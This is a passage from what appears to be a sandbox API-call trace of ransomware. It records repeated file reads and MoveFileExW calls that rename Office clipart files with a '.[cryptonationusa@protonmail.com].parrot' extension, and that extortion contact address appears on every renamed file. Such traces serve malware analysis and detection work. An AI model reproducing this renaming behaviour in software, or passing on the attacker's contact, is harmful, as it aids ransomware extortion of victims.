Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00638_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00638_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.193] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.195] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.195] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.196] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.196] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x584, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x584, lpOverlapped=0x0) returned 1 [0152.196] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.197] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00656_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00656_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.198] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.199] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0152.200] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.201] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.202] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.202] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1652, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1652, lpOverlapped=0x0) returned 1 [0152.203] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.203] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00668_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00668_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.204] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.206] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.206] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.208] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.208] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16c0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16c0, lpOverlapped=0x0) returned 1 [0152.208] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.209] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00670_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00670_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.210] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.212] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.212] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.213] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.213] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5d0, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5d0, lpOverlapped=0x0) returned 1 [0152.213] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.214] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00671_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00671_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.215] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0152.217] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.217] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.219] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.219] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x62b6, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x62b6, lpOverlapped=0x0) returned 1 [0152.233] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.233] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00683_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00683_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.235] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.420] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.420] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.422] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.422] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x6302, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x6302, lpOverlapped=0x0) returned 1 [0152.423] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.424] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00694_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00694_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.426] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.428] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.428] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.431] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.431] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x3636, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x3636, lpOverlapped=0x0) returned 1 [0152.432] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.433] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00704_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00704_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.434] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6ab290 | out: hHeap=0x5b0000) returned 1 [0152.436] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.436] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.437] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.437] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x16478, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x16478, lpOverlapped=0x0) returned 1 [0152.440] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.441] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00726_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00726_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.443] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x2220088 | out: hHeap=0x5b0000) returned 1 [0152.445] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.445] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.446] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.446] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x1758, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x1758, lpOverlapped=0x0) returned 1 [0152.447] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.447] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00728_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00728_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.448] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.453] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.453] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.517] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.518] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x13fc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x13fc, lpOverlapped=0x0) returned 1 [0152.519] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.519] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00732_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00732_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.522] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.524] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.524] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.526] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x660, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x660, lpOverlapped=0x0) returned 1 [0152.526] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.526] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00734_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00734_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.528] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x5cee58 | out: hHeap=0x5b0000) returned 1 [0152.530] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.530] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.531] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.531] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x5cc, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x5cc, lpOverlapped=0x0) returned 1 [0152.531] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.532] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00735_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00735_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.534] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x69e650 | out: hHeap=0x5b0000) returned 1 [0152.538] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.538] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.539] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.539] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x184c, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x184c, lpOverlapped=0x0) returned 1 [0152.540] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.540] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00736_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00736_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a7268 | out: hHeap=0x5b0000) returned 1 [0152.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.545] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a9250 | out: hHeap=0x5b0000) returned 1 [0152.546] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.546] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x18ef30*, lpNumberOfBytesRead=0x18eed4*=0x18, lpOverlapped=0x0) returned 1 [0152.548] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.548] ReadFile (in: hFile=0x288, lpBuffer=0x2d70040, nNumberOfBytesToRead=0x543a, lpNumberOfBytesRead=0x18eed4, lpOverlapped=0x0 | out: lpBuffer=0x2d70040*, lpNumberOfBytesRead=0x18eed4*=0x543a, lpOverlapped=0x0) returned 1 [0152.549] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0152.550] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SO00768_.WMF.[cryptonationusa@protonmail.com].parrot" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\so00768_.wmf.[cryptonationusa@protonmail.com].parrot"), dwFlags=0x2) returned 1 [0152.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x6a3268 | out: hHeap=0x5b0000) returned 1 [0152.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x643228 | out: hHeap=0x5b0000) returned 1 [0152.551] HeapFree (in: hHeap=0x5b0000, dwFlags=0x0, lpMem=0x3160050 | out: hHeap=0x5b0000) returned 1 [0152.553] SetFilePointerEx (in: hFile=0x288, liDistanceToMove=0xffffffe8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.553] ReadFile (in: hFile=0x288, lpBuffer=0x18ef30, nNumberOfBytesToRead=0x18, lpNumberOfBytesRead=0x18eed4, 